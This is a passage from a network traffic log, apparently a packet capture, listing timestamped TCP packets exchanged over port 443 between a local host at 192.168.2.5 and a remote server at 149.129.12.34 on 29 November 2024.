Nov 29, 2024 15:45:45.726277113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.726300955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.726383924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.726411104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.726459980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.730449915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.730468988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.730513096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.730524063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.730540037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.730566025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.736099958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.736116886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.736176014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.736183882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.736228943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.741489887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.741508961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.741569996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.741578102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.741590023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.741615057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.747085094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.747102022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.747169971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.747179031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.747224092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.752291918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.752309084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.752366066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.752374887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.752413034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.757205963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.757221937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.757272005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.757278919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.757319927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.762751102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.762767076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.762804031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.762811899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.762830019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.762849092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.979262114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.979278088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.979322910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.979528904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.979562998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.979609013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.983432055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.983453035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.983501911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.983515978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.983539104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.983556032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.988951921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.988970041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.989027977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.989039898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.989074945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.994616032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.994637012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.994725943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.994739056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.994806051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.999412060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.999440908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.999505043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.999516964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.999552965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.004604101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.004621983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.004806042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.004816055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.004859924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.010189056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.010210991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.010277987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.010289907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.010329962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.015657902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.015681028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.015727043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.015738964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.015764952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.015783072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.017220020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.223104000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.223139048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.223298073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.223324060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.223368883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.227849960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.227879047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.227931023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.227937937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.227973938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.233436108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.233469009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.233514071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.233521938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.233551025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.233563900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.238334894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.238358974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.238414049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.238420963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.238459110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.243845940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.243870020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.243913889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.243940115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.243953943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.243983984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.249079943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.249099970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.249133110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.249141932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.249171019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.249178886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.254564047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.254580975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.254662037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.254673958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.254719019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.256119013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.260113955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.260130882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.260189056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.260198116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.260236025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.271377087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.433686018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.433712006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.433943033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.433969975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.434009075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.438273907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.438290119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.438343048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.438349962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.438385963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.443759918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.443775892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.443820953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.443830967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.443869114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.449306011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.449341059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.449400902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.449408054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.449448109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.454426050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.454441071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.454493046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.454500914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.454536915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.459408998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.459424973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.459482908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.459491014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.459521055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.464977980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.464994907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.465046883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.465055943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.465090990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.470469952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.470488071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.470536947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.470545053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.470585108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.471291065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.644649982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.644674063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.644732952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.644758940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.644789934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.644818068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.649807930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.649825096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.649888039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.649895906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.649943113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.654381990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.654397964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.654462099 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.654469967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.654510975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.659941912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.659957886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.660017967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.660026073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.660069942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.665401936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.665420055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.665468931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.665476084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.665512085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.670883894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.670900106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.670959949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.670965910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.671010971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.676525116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.676548004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.676587105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.676598072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.676650047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.677684069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.681663990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.681688070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.681752920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.681777000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.681814909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.691735029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.854862928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.854892969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.854986906 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.855024099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.855068922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.860033035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.860049963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.860104084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.860110044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.860152960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.864924908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.864944935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.864995956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.865003109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.865041971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.870359898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.870376110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.870419025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.870425940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.870466948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.875859022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.875879049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.875930071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.875936985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.875979900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.881182909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.881200075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.881258965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.881267071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.881309986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.886605024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.886622906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.886667013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.886673927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.886699915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.886713982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.891587019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.891611099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.891675949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.891683102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:46.891721964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:46.891931057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.065681934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.065706015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.065916061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.065927029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.065968990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.071101904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.071118116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.071172953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.071182013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.071224928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.076301098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.076318026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.076370001 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.076378107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.076421022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.081175089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.081191063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.081247091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.081254005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.081295013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.086654902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.086671114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.086714983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.086723089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.086766005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.092011929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.092026949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.092082977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.092089891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.092130899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.097408056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.097425938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.097481012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.097487926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.097532034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.102458000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.103152037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.103173018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.103230953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.103238106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.103275061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.139142036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.276158094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.276196003 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.276293039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.276318073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.276361942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.281337023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.281358004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.281418085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.281428099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.281472921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.286381960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.286400080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.286465883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.286474943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.286514044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.291768074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.291786909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.291846991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.291860104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.291894913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.297152042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.297171116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.297218084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.297228098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.297261000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.302443027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.302463055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.302524090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.302535057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.302572966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.307914972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.307933092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.307985067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.307996988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.308029890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.312808037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.312827110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.312875032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.312882900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.312920094 CET	49704	443	192.168.2.5	149.129.12.34
